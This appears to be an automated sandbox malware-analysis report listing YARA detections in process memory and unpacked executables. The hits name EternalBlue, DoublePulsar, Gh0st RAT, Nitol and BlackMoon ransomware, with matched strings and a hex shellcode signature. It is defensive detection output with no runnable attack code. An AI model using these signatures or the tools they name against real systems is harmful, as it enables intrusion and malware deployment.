00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xcee32:$x1: [-] Error: Exploit choice not supported for target OS!! 0xceadd:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xcebb6:$x3: [-] Error: Backdoor not present on target 0xcd861:$x4: ********* TARGET ARCHITECTURE IS X64 **********
00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x13dfb:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x9ef1b:$s4: msvcrtd.dll 0x9fc75:$s4: msvcrtd.dll 0x13e17:$s5: %d.%d.%d.%d%c
00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x16b6f:$ci1: CNEFileIO_ 0x16b82:$ci1: CNEFileIO_ 0x16b96:$ci1: CNEFileIO_ 0x16bab:$ci1: CNEFileIO_ 0x16bc0:$ci1: CNEFileIO_ 0x16bd6:$ci1: CNEFileIO_ 0x16be8:$ci1: CNEFileIO_ 0x16c03:$ci1: CNEFileIO_ 0x16c17:$ci1: CNEFileIO_ 0x16c2c:$ci1: CNEFileIO_ 0x16c3f:$ci1: CNEFileIO_ 0x16c51:$ci1: CNEFileIO_ 0x16c64:$ci1: CNEFileIO_ 0x16c78:$ci1: CNEFileIO_ 0x16c8d:$ci1: CNEFileIO_ 0x16ca0:$ci1: CNEFileIO_ 0x16cba:$ci1: CNEFileIO_ 0x16cd4:$ci1: CNEFileIO_ 0x16ce8:$ci1: CNEFileIO_ 0x16cfb:$ci1: CNEFileIO_ 0x16d0f:$ci1: CNEFileIO_
Process Memory Space: exe1.bin.bak.exe PID: 7644	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: MpMgSvc.exe PID: 7432	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
Process Memory Space: MpMgSvc.exe PID: 7432	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: MpMgSvc.exe PID: 7432	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MpMgSvc.exe PID: 7432	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
Process Memory Space: MpMgSvc.exe PID: 7432	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0x35d751:$x1: [-] Error: Exploit choice not supported for target OS!! 0x35dff6:$x1: [-] Error: Exploit choice not supported for target OS!! 0x35d44d:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0x35d515:$x3: [-] Error: Backdoor not present on target 0x35bf20:$x4: ********* TARGET ARCHITECTURE IS X64 **********
Process Memory Space: MpMgSvc.exe PID: 7432	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x349d43:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x349d95:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x355681:$s4: msvcrtd.dll 0x349d5d:$s5: %d.%d.%d.%d%c
Process Memory Space: MpMgSvc.exe PID: 7432	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x34ad89:$ci1: CNEFileIO_ 0x34ad9c:$ci1: CNEFileIO_ 0x34adb0:$ci1: CNEFileIO_ 0x34adc5:$ci1: CNEFileIO_ 0x34adda:$ci1: CNEFileIO_ 0x34adf0:$ci1: CNEFileIO_ 0x34ae02:$ci1: CNEFileIO_ 0x34ae1d:$ci1: CNEFileIO_ 0x34ae31:$ci1: CNEFileIO_ 0x34ae46:$ci1: CNEFileIO_ 0x34ae59:$ci1: CNEFileIO_ 0x34ae6b:$ci1: CNEFileIO_ 0x34ae7e:$ci1: CNEFileIO_ 0x34ae92:$ci1: CNEFileIO_ 0x34aea7:$ci1: CNEFileIO_ 0x34aeba:$ci1: CNEFileIO_ 0x34aed4:$ci1: CNEFileIO_ 0x34aeee:$ci1: CNEFileIO_ 0x34af02:$ci1: CNEFileIO_ 0x34af15:$ci1: CNEFileIO_ 0x34af29:$ci1: CNEFileIO_
Process Memory Space: Hooks.exe PID: 12108	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: Hooks.exe PID: 12108	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost.exe PID: 12364	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: svchost.exe PID: 12364	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: Wmicc.exe PID: 15416	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Process Memory Space: Wmicc.exe PID: 15416	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
27.2.svchost.exe.11776ac0.2.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
27.2.svchost.exe.11776ac0.2.raw.unpack	Backdoor_Nitol_Jun17	Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader	Florian Roth	0x22403:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x224a0:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x22384:$s1: \Program Files\Internet Explorer\iexplore.exe 0x222a6:$s5: Accept-Language: zh-cn
27.2.svchost.exe.11776ac0.2.raw.unpack	GhostDragon_Gh0stRAT	Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report	Florian Roth	0x2317c:$x4: Http/1.1 403 Forbidden 0x2317c:$s5: Http/1.1 403 Forbidden
27.2.svchost.exe.11776ac0.2.raw.unpack	MAL_Nitol_Malware_Jan19_1	Detects Nitol Malware	Florian Roth	0x1b701:$n1: .htmGET 0x1b729:$n1: .htmGET 0x1b76c:$n1: .htmGET 0x1b7bc:$n1: .htmGET 0x1b7c9:$n1: .htmGET 0x1b7f1:$n1: .htmGET 0x1b80b:$n1: .htmGET 0x1b833:$n1: .htmGET 0x1b876:$n1: .htmGET 0x1b8c6:$n1: .htmGET 0x1b8d3:$n1: .htmGET 0x1b8fb:$n1: .htmGET 0x1b915:$n1: .htmGET 0x1b93d:$n1: .htmGET 0x1b980:$n1: .htmGET 0x1b9d0:$n1: .htmGET 0x1b9dd:$n1: .htmGET 0x1ba05:$n1: .htmGET 0x1ba1f:$n1: .htmGET 0x1ba47:$n1: .htmGET 0x1ba8a:$n1: .htmGET
27.2.svchost.exe.11776ac0.2.raw.unpack	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1b709:$s1: %$#@!.aspGET ^&().htmlGET 0x1b731:$s1: %$#@!.aspGET ^&().htmlGET 0x1b74c:$s1: %$#@!.aspGET ^&().htmlGET 0x1b774:$s1: %$#@!.aspGET ^&().htmlGET 0x1b78f:$s1: %$#@!.aspGET ^&().htmlGET 0x1b7d1:$s1: %$#@!.aspGET ^&().htmlGET 0x1b813:$s1: %$#@!.aspGET ^&().htmlGET 0x1b83b:$s1: %$#@!.aspGET ^&().htmlGET 0x1b856:$s1: %$#@!.aspGET ^&().htmlGET 0x1b87e:$s1: %$#@!.aspGET ^&().htmlGET 0x1b899:$s1: %$#@!.aspGET ^&().htmlGET 0x1b8db:$s1: %$#@!.aspGET ^&().htmlGET 0x1b91d:$s1: %$#@!.aspGET ^&().htmlGET 0x1b945:$s1: %$#@!.aspGET ^&().htmlGET 0x1b960:$s1: %$#@!.aspGET ^&().htmlGET 0x1b988:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9a3:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9e5:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba27:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba4f:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba6a:$s1: %$#@!.aspGET ^&*().htmlGET
0.2.exe1.bin.bak.exe.42854f.3.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.exe1.bin.bak.exe.42854f.3.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x3d2c9:$s1: blackmoon 0x3d309:$s2: BlackMoon RunTime Error:
21.2.MpMgSvc.exe.5442d0.4.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
21.2.MpMgSvc.exe.5442d0.4.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0xc2fd4:$s1: blackmoon 0xc3014:$s2: BlackMoon RunTime Error:
26.2.Hooks.exe.1b98d8e.5.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
26.2.Hooks.exe.1b98d8e.5.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
26.2.Hooks.exe.1b98d8e.5.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
26.2.Hooks.exe.1b98d8e.5.unpack	Backdoor_Nitol_Jun17	Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader	Florian Roth	0x21603:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x216a0:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x21584:$s1: \Program Files\Internet Explorer\iexplore.exe 0x214a6:$s5: Accept-Language: zh-cn
26.2.Hooks.exe.1b98d8e.5.unpack	GhostDragon_Gh0stRAT	Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report	Florian Roth	0x2237c:$x4: Http/1.1 403 Forbidden 0x2237c:$s5: Http/1.1 403 Forbidden
26.2.Hooks.exe.1b98d8e.5.unpack	MAL_Nitol_Malware_Jan19_1	Detects Nitol Malware	Florian Roth	0x1ab01:$n1: .htmGET 0x1ab29:$n1: .htmGET 0x1ab6c:$n1: .htmGET 0x1abbc:$n1: .htmGET 0x1abc9:$n1: .htmGET 0x1abf1:$n1: .htmGET 0x1ac0b:$n1: .htmGET 0x1ac33:$n1: .htmGET 0x1ac76:$n1: .htmGET 0x1acc6:$n1: .htmGET 0x1acd3:$n1: .htmGET 0x1acfb:$n1: .htmGET 0x1ad15:$n1: .htmGET 0x1ad3d:$n1: .htmGET 0x1ad80:$n1: .htmGET 0x1add0:$n1: .htmGET 0x1addd:$n1: .htmGET 0x1ae05:$n1: .htmGET 0x1ae1f:$n1: .htmGET 0x1ae47:$n1: .htmGET 0x1ae8a:$n1: .htmGET
26.2.Hooks.exe.1b98d8e.5.unpack	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1ab09:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab31:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab4c:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab74:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab8f:$s1: %$#@!.aspGET ^&().htmlGET 0x1abd1:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac13:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac3b:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac56:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac7e:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac99:$s1: %$#@!.aspGET ^&().htmlGET 0x1acdb:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad1d:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad45:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad60:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad88:$s1: %$#@!.aspGET ^&().htmlGET 0x1ada3:$s1: %$#@!.aspGET ^&().htmlGET 0x1ade5:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae27:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae4f:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae6a:$s1: %$#@!.aspGET ^&*().htmlGET
26.2.Hooks.exe.1b98d8e.5.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x238d0:$s1: blackmoon 0x23910:$s2: BlackMoon RunTime Error:
27.2.svchost.exe.11776ac0.2.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
27.2.svchost.exe.11776ac0.2.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
27.2.svchost.exe.11776ac0.2.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
27.2.svchost.exe.11776ac0.2.unpack	Backdoor_Nitol_Jun17	Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader	Florian Roth	0x21603:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x216a0:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x21584:$s1: \Program Files\Internet Explorer\iexplore.exe 0x214a6:$s5: Accept-Language: zh-cn
27.2.svchost.exe.11776ac0.2.unpack	GhostDragon_Gh0stRAT	Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report	Florian Roth	0x2237c:$x4: Http/1.1 403 Forbidden 0x2237c:$s5: Http/1.1 403 Forbidden
27.2.svchost.exe.11776ac0.2.unpack	MAL_Nitol_Malware_Jan19_1	Detects Nitol Malware	Florian Roth	0x1ab01:$n1: .htmGET 0x1ab29:$n1: .htmGET 0x1ab6c:$n1: .htmGET 0x1abbc:$n1: .htmGET 0x1abc9:$n1: .htmGET 0x1abf1:$n1: .htmGET 0x1ac0b:$n1: .htmGET 0x1ac33:$n1: .htmGET 0x1ac76:$n1: .htmGET 0x1acc6:$n1: .htmGET 0x1acd3:$n1: .htmGET 0x1acfb:$n1: .htmGET 0x1ad15:$n1: .htmGET 0x1ad3d:$n1: .htmGET 0x1ad80:$n1: .htmGET 0x1add0:$n1: .htmGET 0x1addd:$n1: .htmGET 0x1ae05:$n1: .htmGET 0x1ae1f:$n1: .htmGET 0x1ae47:$n1: .htmGET 0x1ae8a:$n1: .htmGET
27.2.svchost.exe.11776ac0.2.unpack	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1ab09:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab31:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab4c:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab74:$s1: %$#@!.aspGET ^&().htmlGET 0x1ab8f:$s1: %$#@!.aspGET ^&().htmlGET 0x1abd1:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac13:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac3b:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac56:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac7e:$s1: %$#@!.aspGET ^&().htmlGET 0x1ac99:$s1: %$#@!.aspGET ^&().htmlGET 0x1acdb:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad1d:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad45:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad60:$s1: %$#@!.aspGET ^&().htmlGET 0x1ad88:$s1: %$#@!.aspGET ^&().htmlGET 0x1ada3:$s1: %$#@!.aspGET ^&().htmlGET 0x1ade5:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae27:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae4f:$s1: %$#@!.aspGET ^&().htmlGET 0x1ae6a:$s1: %$#@!.aspGET ^&*().htmlGET
27.2.svchost.exe.11776ac0.2.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x238d0:$s1: blackmoon 0x23910:$s2: BlackMoon RunTime Error:
55.0.Wmicc.exe.49fae8.2.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
55.0.Wmicc.exe.49fae8.2.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0xc2fd4:$s1: blackmoon 0xc3014:$s2: BlackMoon RunTime Error:
29.2.svchost.exe.400000.0.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
55.0.Wmicc.exe.4242e0.1.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
29.2.svchost.exe.400000.0.unpack	Backdoor_Nitol_Jun17	Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader	Florian Roth	0x22403:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x224a0:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x22384:$s1: \Program Files\Internet Explorer\iexplore.exe 0x222a6:$s5: Accept-Language: zh-cn
29.2.svchost.exe.400000.0.unpack	GhostDragon_Gh0stRAT	Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report	Florian Roth	0x2317c:$x4: Http/1.1 403 Forbidden 0x2317c:$s5: Http/1.1 403 Forbidden
29.2.svchost.exe.400000.0.unpack	MAL_Nitol_Malware_Jan19_1	Detects Nitol Malware	Florian Roth	0x1b701:$n1: .htmGET 0x1b729:$n1: .htmGET 0x1b76c:$n1: .htmGET 0x1b7bc:$n1: .htmGET 0x1b7c9:$n1: .htmGET 0x1b7f1:$n1: .htmGET 0x1b80b:$n1: .htmGET 0x1b833:$n1: .htmGET 0x1b876:$n1: .htmGET 0x1b8c6:$n1: .htmGET 0x1b8d3:$n1: .htmGET 0x1b8fb:$n1: .htmGET 0x1b915:$n1: .htmGET 0x1b93d:$n1: .htmGET 0x1b980:$n1: .htmGET 0x1b9d0:$n1: .htmGET 0x1b9dd:$n1: .htmGET 0x1ba05:$n1: .htmGET 0x1ba1f:$n1: .htmGET 0x1ba47:$n1: .htmGET 0x1ba8a:$n1: .htmGET
29.2.svchost.exe.400000.0.unpack	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1b709:$s1: %$#@!.aspGET ^&().htmlGET 0x1b731:$s1: %$#@!.aspGET ^&().htmlGET 0x1b74c:$s1: %$#@!.aspGET ^&().htmlGET 0x1b774:$s1: %$#@!.aspGET ^&().htmlGET 0x1b78f:$s1: %$#@!.aspGET ^&().htmlGET 0x1b7d1:$s1: %$#@!.aspGET ^&().htmlGET 0x1b813:$s1: %$#@!.aspGET ^&().htmlGET 0x1b83b:$s1: %$#@!.aspGET ^&().htmlGET 0x1b856:$s1: %$#@!.aspGET ^&().htmlGET 0x1b87e:$s1: %$#@!.aspGET ^&().htmlGET 0x1b899:$s1: %$#@!.aspGET ^&().htmlGET 0x1b8db:$s1: %$#@!.aspGET ^&().htmlGET 0x1b91d:$s1: %$#@!.aspGET ^&().htmlGET 0x1b945:$s1: %$#@!.aspGET ^&().htmlGET 0x1b960:$s1: %$#@!.aspGET ^&().htmlGET 0x1b988:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9a3:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9e5:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba27:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba4f:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba6a:$s1: %$#@!.aspGET ^&*().htmlGET
55.0.Wmicc.exe.4242e0.1.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x13e7dc:$s1: blackmoon 0x13e81c:$s2: BlackMoon RunTime Error:
21.2.MpMgSvc.exe.4c8ac8.3.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
21.2.MpMgSvc.exe.4c8ac8.3.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x13e7dc:$s1: blackmoon 0x13e81c:$s2: BlackMoon RunTime Error:
0.2.exe1.bin.bak.exe.43df2f.1.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.exe1.bin.bak.exe.43df2f.1.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x278e9:$s1: blackmoon 0x27929:$s2: BlackMoon RunTime Error:
21.2.MpMgSvc.exe.4a47e8.1.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
21.2.MpMgSvc.exe.4a47e8.1.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x162abc:$s1: blackmoon 0x162afc:$s2: BlackMoon RunTime Error:
21.2.MpMgSvc.exe.4a47e8.1.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
21.2.MpMgSvc.exe.4a47e8.1.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x162abc:$s1: blackmoon 0x162afc:$s2: BlackMoon RunTime Error:
21.2.MpMgSvc.exe.625266.5.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x2329:$ci2: coli_ 0x2335:$ci2: coli_ 0x2341:$ci2: coli_ 0x2351:$ci2: coli_ 0x235c:$ci2: coli_ 0x236c:$ci2: coli_ 0x237d:$ci3: mainWrapper
26.2.Hooks.exe.1b98d8e.5.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
26.2.Hooks.exe.1b98d8e.5.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
26.2.Hooks.exe.1b98d8e.5.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
26.2.Hooks.exe.1b98d8e.5.raw.unpack	Backdoor_Nitol_Jun17	Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader	Florian Roth	0x22403:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x224a0:$x1: User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) 0x22384:$s1: \Program Files\Internet Explorer\iexplore.exe 0x222a6:$s5: Accept-Language: zh-cn
26.2.Hooks.exe.1b98d8e.5.raw.unpack	GhostDragon_Gh0stRAT	Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report	Florian Roth	0x2317c:$x4: Http/1.1 403 Forbidden 0x2317c:$s5: Http/1.1 403 Forbidden
26.2.Hooks.exe.1b98d8e.5.raw.unpack	MAL_Nitol_Malware_Jan19_1	Detects Nitol Malware	Florian Roth	0x1b701:$n1: .htmGET 0x1b729:$n1: .htmGET 0x1b76c:$n1: .htmGET 0x1b7bc:$n1: .htmGET 0x1b7c9:$n1: .htmGET 0x1b7f1:$n1: .htmGET 0x1b80b:$n1: .htmGET 0x1b833:$n1: .htmGET 0x1b876:$n1: .htmGET 0x1b8c6:$n1: .htmGET 0x1b8d3:$n1: .htmGET 0x1b8fb:$n1: .htmGET 0x1b915:$n1: .htmGET 0x1b93d:$n1: .htmGET 0x1b980:$n1: .htmGET 0x1b9d0:$n1: .htmGET 0x1b9dd:$n1: .htmGET 0x1ba05:$n1: .htmGET 0x1ba1f:$n1: .htmGET 0x1ba47:$n1: .htmGET 0x1ba8a:$n1: .htmGET
26.2.Hooks.exe.1b98d8e.5.raw.unpack	MALWARE_Win_Nitol	Detects Nitol backdoor	ditekSHen	0x1b709:$s1: %$#@!.aspGET ^&().htmlGET 0x1b731:$s1: %$#@!.aspGET ^&().htmlGET 0x1b74c:$s1: %$#@!.aspGET ^&().htmlGET 0x1b774:$s1: %$#@!.aspGET ^&().htmlGET 0x1b78f:$s1: %$#@!.aspGET ^&().htmlGET 0x1b7d1:$s1: %$#@!.aspGET ^&().htmlGET 0x1b813:$s1: %$#@!.aspGET ^&().htmlGET 0x1b83b:$s1: %$#@!.aspGET ^&().htmlGET 0x1b856:$s1: %$#@!.aspGET ^&().htmlGET 0x1b87e:$s1: %$#@!.aspGET ^&().htmlGET 0x1b899:$s1: %$#@!.aspGET ^&().htmlGET 0x1b8db:$s1: %$#@!.aspGET ^&().htmlGET 0x1b91d:$s1: %$#@!.aspGET ^&().htmlGET 0x1b945:$s1: %$#@!.aspGET ^&().htmlGET 0x1b960:$s1: %$#@!.aspGET ^&().htmlGET 0x1b988:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9a3:$s1: %$#@!.aspGET ^&().htmlGET 0x1b9e5:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba27:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba4f:$s1: %$#@!.aspGET ^&().htmlGET 0x1ba6a:$s1: %$#@!.aspGET ^&*().htmlGET
26.2.Hooks.exe.1b98d8e.5.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x246d0:$s1: blackmoon 0x24710:$s2: BlackMoon RunTime Error:
0.2.exe1.bin.bak.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.exe1.bin.bak.exe.400000.0.unpack	APT17_Sample_FXSST_DLL	Detects Samples related to APT17 activity - file FXSST.DLL	Florian Roth	0x62a94:$x1: Microsoft? Windows? Operating System 0x23d54:$s1: GetLastActivePopup 0x7ef6e:$s1: GetLastActivePopup 0x3c3d1:$s2: Sleep 0x441f5:$s2: Sleep 0x58676:$s2: Sleep 0x60496:$s2: Sleep 0x6403b:$s2: Sleep 0x6479d:$s2: Sleep 0x7e4db:$s2: Sleep 0x3c757:$s3: GetModuleFileName 0x589a4:$s3: GetModuleFileName 0x7e5bd:$s3: GetModuleFileName 0x4432d:$s4: VirtualProtect 0x605ce:$s4: VirtualProtect 0x817a6:$s4: VirtualProtect 0x3c76d:$s5: HeapAlloc 0x4430f:$s5: HeapAlloc 0x589ba:$s5: HeapAlloc 0x605b0:$s5: HeapAlloc 0x64865:$s5: HeapAlloc
0.2.exe1.bin.bak.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x64c18:$s1: blackmoon 0x64c58:$s2: BlackMoon RunTime Error:
0.2.exe1.bin.bak.exe.448f60.2.raw.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0.2.exe1.bin.bak.exe.448f60.2.raw.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x1c8b8:$s1: blackmoon 0x1c8f8:$s2: BlackMoon RunTime Error:
55.0.Wmicc.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
55.0.Wmicc.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x162abc:$s1: blackmoon 0x162afc:$s2: BlackMoon RunTime Error:
55.2.Wmicc.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
55.2.Wmicc.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x162abc:$s1: blackmoon 0x162afc:$s2: BlackMoon RunTime Error:
21.2.MpMgSvc.exe.628e79.6.raw.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
21.2.MpMgSvc.exe.628e79.6.raw.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
21.2.MpMgSvc.exe.628e79.6.raw.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0xfc6b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x11403:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x129bb:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x19563:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1acfb:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1c2b3:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x229f7:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x24093:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x25563:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2bc9f:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2d33b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2e80b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x317ab:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x34753:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x37baf:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 